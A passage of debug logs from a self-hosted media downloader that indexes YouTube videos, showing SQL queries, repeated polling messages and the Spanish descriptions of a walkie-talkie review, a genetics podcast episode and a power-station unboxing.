AS s0 WHERE (s0."id" IN (?)) [3] 22:09:04.546 [debug] QUERY OK source="sources" db=0.5ms idle=1790.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:09:04.547 [debug] QUERY OK source="media_items" db=0.6ms idle=1099.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-12 17:00:56Z], 3] 22:09:04.548 [debug] QUERY OK source="media_items" db=1.2ms idle=792.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Gracias a Retevis he podido probar los walkies Retevis C62 como os muestro en el video. Me ha sorprendido la calidad del producto y su reductor de ruido. \n\nContenido del video ------------------------------\n00:00 - Presentación\n00:25 - Intro canal\n00:44 - Desembalado - Unboxing\n05:35 - Primeros pasos\n10:59 - Revisando menús\n19:45 - Probando consumo\n21:29 - Mediciones potencia y armónicos\n27:00 - Display a plena luz\n27:40 - Conectado a antena exterior\n32:09 - Midiendo resonancia antena\n34:00 - Probando el reductor de ruido\n41:07 - Conclusiones\n\n#retevis #C62 #walkietalkie #hamradio #radioaficionados #dnr #reductorruidos #AI \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "163 - PROBANDO WALKIE RETEVIS C62 BIBANDA VHF UHF", "88bb19d2-68f4-4911-90c6-2eddf0abf408", 2549, false, "m7XGWzDRTF0", "https://www.youtube.com/watch?v=m7XGWzDRTF0", 18, "/downloads/music/ea3grn/163 - PROBANDO WALKIE RETEVIS C62 BIBANDA VHF UHF.m4a", false, false, false, 3, [], 98, ~U[2025-06-12 17:00:56Z], ~U[2026-02-07 21:09:04Z], ~U[2026-02-07 21:09:04Z], "Gracias a Retevis he podido probar los walkies Retevis C62 como os muestro en el video. Me ha sorprendido la calidad del producto y su reductor de ruido. \n\nContenido del video ------------------------------\n00:00 - Presentación\n00:25 - Intro canal\n00:44 - Desembalado - Unboxing\n05:35 - Primeros pasos\n10:59 - Revisando menús\n19:45 - Probando consumo\n21:29 - Mediciones potencia y armónicos\n27:00 - Display a plena luz\n27:40 - Conectado a antena exterior\n32:09 - Midiendo resonancia antena\n34:00 - Probando el reductor de ruido\n41:07 - Conclusiones\n\n#retevis #C62 #walkietalkie #hamradio #radioaficionados #dnr #reductorruidos #AI \n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "163 - PROBANDO WALKIE RETEVIS C62 BIBANDA VHF UHF", 2549, false, "m7XGWzDRTF0", "https://www.youtube.com/watch?v=m7XGWzDRTF0", "/downloads/music/ea3grn/163 - PROBANDO WALKIE RETEVIS C62 BIBANDA VHF UHF.m4a", false, 3, ~U[2025-06-12 17:00:56Z]] 22:09:04.549 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=100.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:09:04.550 [debug] QUERY OK source="media_profiles" db=0.3ms idle=5.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:04.551 [debug] QUERY OK source="media_items" db=0.4ms queue=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1321] 22:09:04.551 [debug] Current batch of media processed. Will check again in 1000ms 22:09:05.517 [debug] Current batch of media processed. Will check again in 1000ms 22:09:05.551 [debug] Current batch of media processed. Will check again in 1000ms 22:09:06.518 [debug] Current batch of media processed. Will check again in 1000ms 22:09:06.552 [debug] Current batch of media processed. Will check again in 1000ms 22:09:07.519 [debug] Current batch of media processed. Will check again in 1000ms 22:09:07.553 [debug] Current batch of media processed. Will check again in 1000ms 22:09:08.520 [debug] Current batch of media processed. Will check again in 1000ms 22:09:08.554 [debug] Current batch of media processed. Will check again in 1000ms 22:09:09.521 [debug] Current batch of media processed. Will check again in 1000ms 22:09:09.555 [debug] Current batch of media processed. Will check again in 1000ms 22:09:10.522 [debug] Current batch of media processed. Will check again in 1000ms 22:09:10.556 [debug] Current batch of media processed. Will check again in 1000ms 22:09:11.523 [debug] Current batch of media processed. Will check again in 1000ms 22:09:11.557 [debug] Current batch of media processed. Will check again in 1000ms 22:09:12.524 [debug] Current batch of media processed. Will check again in 1000ms 22:09:12.558 [debug] Current batch of media processed. Will check again in 1000ms 22:09:13.525 [debug] Current batch of media processed. Will check again in 1000ms 22:09:13.559 [debug] Current batch of media processed. Will check again in 1000ms 22:09:14.526 [debug] Current batch of media processed. Will check again in 1000ms 22:09:14.560 [debug] Current batch of media processed. Will check again in 1000ms 22:09:15.527 [debug] Current batch of media processed. Will check again in 1000ms 22:09:15.561 [debug] Current batch of media processed. Will check again in 1000ms 22:09:16.528 [debug] Current batch of media processed. Will check again in 1000ms 22:09:16.562 [debug] Current batch of media processed. Will check again in 1000ms 22:09:17.529 [debug] Current batch of media processed. Will check again in 1000ms 22:09:17.563 [debug] Current batch of media processed. Will check again in 1000ms 22:09:18.530 [debug] Current batch of media processed. Will check again in 1000ms 22:09:18.564 [debug] Current batch of media processed. Will check again in 1000ms 22:09:19.531 [debug] Current batch of media processed. Will check again in 1000ms 22:09:19.565 [debug] Current batch of media processed. Will check again in 1000ms 22:09:20.532 [debug] Current batch of media processed. Will check again in 1000ms 22:09:20.566 [debug] Current batch of media processed. Will check again in 1000ms 22:09:21.133 [info] {"source":"oban","duration":778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:21.533 [debug] Current batch of media processed. Will check again in 1000ms 22:09:21.567 [debug] Current batch of media processed. Will check again in 1000ms 22:09:22.534 [debug] Current batch of media processed. Will check again in 1000ms 22:09:22.568 [debug] Current batch of media processed. Will check again in 1000ms 22:09:23.535 [debug] Current batch of media processed. Will check again in 1000ms 22:09:23.569 [debug] Current batch of media processed. Will check again in 1000ms 22:09:24.536 [debug] Current batch of media processed. Will check again in 1000ms 22:09:24.570 [debug] Current batch of media processed. Will check again in 1000ms 22:09:25.537 [debug] Current batch of media processed. Will check again in 1000ms 22:09:25.571 [debug] Current batch of media processed. Will check again in 1000ms 22:09:26.538 [debug] Current batch of media processed. Will check again in 1000ms 22:09:26.572 [debug] Current batch of media processed. Will check again in 1000ms 22:09:27.539 [debug] Current batch of media processed. Will check again in 1000ms 22:09:27.573 [debug] Current batch of media processed. Will check again in 1000ms 22:09:28.540 [debug] Current batch of media processed. Will check again in 1000ms 22:09:28.574 [debug] Current batch of media processed. Will check again in 1000ms 22:09:29.541 [debug] Current batch of media processed. Will check again in 1000ms 22:09:29.575 [debug] Current batch of media processed. Will check again in 1000ms 22:09:30.542 [debug] Current batch of media processed. Will check again in 1000ms 22:09:30.576 [debug] Current batch of media processed. Will check again in 1000ms 22:09:31.543 [debug] Current batch of media processed. Will check again in 1000ms 22:09:31.577 [debug] Current batch of media processed. Will check again in 1000ms 22:09:32.544 [debug] Current batch of media processed. Will check again in 1000ms 22:09:32.578 [debug] Current batch of media processed. Will check again in 1000ms 22:09:33.545 [debug] Current batch of media processed. Will check again in 1000ms 22:09:33.579 [debug] Current batch of media processed. Will check again in 1000ms 22:09:34.546 [debug] Current batch of media processed. Will check again in 1000ms 22:09:34.580 [debug] Current batch of media processed. Will check again in 1000ms 22:09:35.547 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep3️⃣2️⃣: La Genetica es la Informatica de Dios. 😇\n\nEl otro dia cuando David García Martínez y yo hicimos el recopilatorio nos dimos cuenta que estabamos faltando a uno de los principios del IAMIQUE, hablar de Genetica, de biotecnologia, de salud, de longevidad, lo que los demas no hacen.\n\nSin que sirva de precedente algun dia quizas os cuento la historia, mi historia, aunque muchos asiduos al podcast la conoceis perfectamente (sois mis amigos) , nuestro primer objetivo es este y no otro, acercaros lo que tu cuerpo sabe de ti y tu no. \n\nEn un momento de mi vida lo deje todo para centrarme en ayudar de otro modo a las personas, llevandoles tecnologia de salud a sus vidas, que es accesible para ellos y que la mayoria no lo conocen. Como tu 😉\n\nCon este boom de la IA me he despistado, es facil hablar de lo que te gusta, de lo que esta cambiando el mundo, pero no os estoy contando lo importante. Asi que ahora amigo mio que sepas que pensamos recuperarnos en ese sentido.... de aqui a final de año nos centraremos en esto.\n\nAsi que como buenos tecnologos os vamos a contar en este capitulo por que la genetica es la informatica de Dios y la cantidad de similitudes que tiene la informatica con la genetica (que no al reves ... no te olvides que la genetica fue primero).\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#iamique #Origen #longevidad #genetica #salud \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 668, "filename" => "/downloads/music/IA mí QUÉ/EP:32: GENÉTICA E INFORMÁTICA.m4a", "id" => "fKC0z4H0Qn0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=fKC0z4H0Qn0", "playlist_index" => 18, "timestamp" => 1760091831, "title" => "EP:32: GENÉTICA E INFORMÁTICA", "upload_date" => "20251010"} 22:09:35.548 [debug] QUERY OK source="sources" db=0.6ms idle=1793.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:09:35.549 [debug] QUERY OK source="sources" db=0.4ms idle=1794.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:09:35.550 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=1047.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-10 10:23:51Z], 2] 22:09:35.552 [debug] QUERY OK source="media_items" db=1.3ms idle=796.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep3️⃣2️⃣: La Genetica es la Informatica de Dios. 😇\n\nEl otro dia cuando David García Martínez y yo hicimos el recopilatorio nos dimos cuenta que estabamos faltando a uno de los principios del IAMIQUE, hablar de Genetica, de biotecnologia, de salud, de longevidad, lo que los demas no hacen.\n\nSin que sirva de precedente algun dia quizas os cuento la historia, mi historia, aunque muchos asiduos al podcast la conoceis perfectamente (sois mis amigos) , nuestro primer objetivo es este y no otro, acercaros lo que tu cuerpo sabe de ti y tu no. \n\nEn un momento de mi vida lo deje todo para centrarme en ayudar de otro modo a las personas, llevandoles tecnologia de salud a sus vidas, que es accesible para ellos y que la mayoria no lo conocen. Como tu 😉\n\nCon este boom de la IA me he despistado, es facil hablar de lo que te gusta, de lo que esta cambiando el mundo, pero no os estoy contando lo importante. Asi que ahora amigo mio que sepas que pensamos recuperarnos en ese sentido.... de aqui a final de año nos centraremos en esto.\n\nAsi que como buenos tecnologos os vamos a contar en este capitulo por que la genetica es la informatica de Dios y la cantidad de similitudes que tiene la informatica con la genetica (que no al reves ... no te olvides que la genetica fue primero).\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#iamique #Origen #longevidad #genetica #salud \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP:32: GENÉTICA E INFORMÁTICA", "88e9fc2d-e5d8-4c65-987f-1519b1fdf981", 668, false, "fKC0z4H0Qn0", "https://www.youtube.com/watch?v=fKC0z4H0Qn0", 18, "/downloads/music/IA mí QUÉ/EP:32: GENÉTICA E INFORMÁTICA.m4a", false, false, false, 2, [], 98, ~U[2025-10-10 10:23:51Z], ~U[2026-02-07 21:09:35Z], ~U[2026-02-07 21:09:35Z], "#IAMIQUE 👉🏼 Ep3️⃣2️⃣: La Genetica es la Informatica de Dios. 😇\n\nEl otro dia cuando David García Martínez y yo hicimos el recopilatorio nos dimos cuenta que estabamos faltando a uno de los principios del IAMIQUE, hablar de Genetica, de biotecnologia, de salud, de longevidad, lo que los demas no hacen.\n\nSin que sirva de precedente algun dia quizas os cuento la historia, mi historia, aunque muchos asiduos al podcast la conoceis perfectamente (sois mis amigos) , nuestro primer objetivo es este y no otro, acercaros lo que tu cuerpo sabe de ti y tu no. \n\nEn un momento de mi vida lo deje todo para centrarme en ayudar de otro modo a las personas, llevandoles tecnologia de salud a sus vidas, que es accesible para ellos y que la mayoria no lo conocen. Como tu 😉\n\nCon este boom de la IA me he despistado, es facil hablar de lo que te gusta, de lo que esta cambiando el mundo, pero no os estoy contando lo importante. Asi que ahora amigo mio que sepas que pensamos recuperarnos en ese sentido.... de aqui a final de año nos centraremos en esto.\n\nAsi que como buenos tecnologos os vamos a contar en este capitulo por que la genetica es la informatica de Dios y la cantidad de similitudes que tiene la informatica con la genetica (que no al reves ... no te olvides que la genetica fue primero).\n\n👉🏼 …. y por fa 🙏 (si quieres ayudarnos) :\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\n#iamique #Origen #longevidad #genetica #salud \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP:32: GENÉTICA E INFORMÁTICA", 668, false, "fKC0z4H0Qn0", "https://www.youtube.com/watch?v=fKC0z4H0Qn0", "/downloads/music/IA mí QUÉ/EP:32: GENÉTICA E INFORMÁTICA.m4a", false, 2, ~U[2025-10-10 10:23:51Z]] 22:09:35.553 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=49.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:09:35.553 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:09:35.554 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1270] 22:09:35.554 [debug] Current batch of media processed. Will check again in 1000ms 22:09:35.581 [debug] Current batch of media processed. Will check again in 1000ms 22:09:36.555 [debug] Current batch of media processed. Will check again in 1000ms 22:09:36.582 [debug] Current batch of media processed. Will check again in 1000ms 22:09:37.556 [debug] Current batch of media processed. Will check again in 1000ms 22:09:37.583 [debug] Current batch of media processed. Will check again in 1000ms 22:09:38.557 [debug] Current batch of media processed. Will check again in 1000ms 22:09:38.584 [debug] Current batch of media processed. Will check again in 1000ms 22:09:39.558 [debug] Current batch of media processed. Will check again in 1000ms 22:09:39.585 [debug] Current batch of media processed. Will check again in 1000ms 22:09:40.559 [debug] Current batch of media processed. Will check again in 1000ms 22:09:40.586 [debug] Current batch of media processed. Will check again in 1000ms 22:09:41.560 [debug] Current batch of media processed. Will check again in 1000ms 22:09:41.587 [debug] Current batch of media processed. Will check again in 1000ms 22:09:42.561 [debug] Current batch of media processed. Will check again in 1000ms 22:09:42.588 [debug] Current batch of media processed. Will check again in 1000ms 22:09:43.562 [debug] Current batch of media processed. Will check again in 1000ms 22:09:43.589 [debug] Current batch of media processed. Will check again in 1000ms 22:09:44.563 [debug] Current batch of media processed. Will check again in 1000ms 22:09:44.590 [debug] Current batch of media processed. Will check again in 1000ms 22:09:45.564 [debug] Current batch of media processed. Will check again in 1000ms 22:09:45.591 [debug] Current batch of media processed. Will check again in 1000ms 22:09:46.565 [debug] Current batch of media processed. Will check again in 1000ms 22:09:46.592 [debug] Current batch of media processed. Will check again in 1000ms 22:09:47.566 [debug] Current batch of media processed. Will check again in 1000ms 22:09:47.593 [debug] Current batch of media processed. Will check again in 1000ms 22:09:48.567 [debug] Current batch of media processed. Will check again in 1000ms 22:09:48.594 [debug] Current batch of media processed. Will check again in 1000ms 22:09:49.568 [debug] Current batch of media processed. Will check again in 1000ms 22:09:49.595 [debug] Current batch of media processed. Will check again in 1000ms 22:09:50.569 [debug] Current batch of media processed. Will check again in 1000ms 22:09:50.596 [debug] Current batch of media processed. Will check again in 1000ms 22:09:51.134 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:09:51.570 [debug] Current batch of media processed. Will check again in 1000ms 22:09:51.597 [debug] Current batch of media processed. Will check again in 1000ms 22:09:52.571 [debug] Current batch of media processed. Will check again in 1000ms 22:09:52.598 [debug] Current batch of media processed. Will check again in 1000ms 22:09:53.572 [debug] Current batch of media processed. Will check again in 1000ms 22:09:53.599 [debug] Current batch of media processed. Will check again in 1000ms 22:09:54.573 [debug] Current batch of media processed. Will check again in 1000ms 22:09:54.600 [debug] Current batch of media processed. Will check again in 1000ms 22:09:55.574 [debug] Current batch of media processed. Will check again in 1000ms 22:09:55.601 [debug] Current batch of media processed. Will check again in 1000ms 22:09:56.575 [debug] Current batch of media processed. Will check again in 1000ms 22:09:56.602 [debug] Current batch of media processed. Will check again in 1000ms 22:09:57.576 [debug] Current batch of media processed. Will check again in 1000ms 22:09:57.603 [debug] Current batch of media processed. Will check again in 1000ms 22:09:58.577 [debug] Current batch of media processed. Will check again in 1000ms 22:09:58.604 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Realizamos el desempaquetado y algunas pruebas sobre el Solar Generator A101 de la empresa FlashFish. Es un powerbank con salida de AC de 120w y varias salidas USB y DC, con una bateria de 14.8v 98Wh.\n\nCódigo de descuento en la tienda de FlashFish es EA3GRN.\nUrl de la tienda (sirven desde Europa):\nhttps://eu.flashfishtech.com/es/products/flashfish-a101-mini-portable-power-station-120w-98wh\n\n#unboxing #flashfish #a101 #powerbank #solar #testing #hamradio #preppers", "duration" => 1194, "filename" => "/downloads/music/ea3grn/162 - UNBOXING Y PRUEBAS PORTABLE SOLAR GENERATOR A101 FLASHFISH.m4a", "id" => "0TZ-PijIoqg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=0TZ-PijIoqg", "playlist_index" => 19, "timestamp" => 1749142804, "title" => "162 - UNBOXING Y PRUEBAS PORTABLE SOLAR GENERATOR A101 FLASHFISH", "upload_date" => "20250605"} 22:09:58.605 [debug] QUERY OK source="sources" db=0.5ms idle=1850.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:09:58.606 [debug] QUERY OK source="sources" db=0.4ms idle=1850.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:09:58.607 [debug] QUERY OK source="media_items" db=0.7ms idle=1851.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 17:00:04Z], 3] 22:09:58.608 [debug] QUERY OK source="media_items" db=1.0ms idle=1059.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Realizamos el desempaquetado y algunas pruebas sobre el Solar Generator A101 de la empresa FlashFish. Es un powerbank con salida de AC de 120w y varias salidas USB y DC, con una bateria de 14.8v 98Wh.\n\nCódigo de descuento en la tienda de FlashFish es EA3GRN.\nUrl de la tienda (sirven desde Europa):\nhttps://eu.flashfishtech.com/es/products/flashfish-a101-mini-portable-power-station-120w-98wh\n\n#unboxing #flashfish #a101 #powerbank #solar #testing #hamradio #preppers", "162 - UNBOXING Y PRUEBAS PORTABLE SOLAR GENERATOR A101 FLASHFISH", "402b838b-ed91-44e5-b4b6-cf63fbf27a66", 1194, false, "0TZ-PijIoqg", "https://www.youtube.com/watch?v=0TZ-PijIoqg", 19, "/downloads/music/ea3grn/162 - UNBOXING Y PRUEBAS PORTABLE SOLAR GENERATOR A101 FLASHFISH.m4a", false, false, false, 3, [], 98, ~U[2025-06-05 17:00:04Z], ~U[2026-02-07 21:09:58Z], ~U[2026-02-07 21:09:58Z], "Realizamos el desempaquetado y algunas pruebas sobre el Solar Generator A101 de la empresa FlashFish. Es un powerbank con salida de AC de 120w y varias salidas USB y DC, con una bateria de 14.8v 98Wh.\n\nCódigo de descuento en la tienda de FlashFish es EA3GRN.\nUrl de la tienda (sirven desde Europa):\nhttps://eu.flashfishtech.com/es/products/flashfish-a101-mini-portable-power-station-120w-98wh\n\n#unboxing #flashfish #a101 #powerbank #solar #testing #hamradio #preppers", "162 - 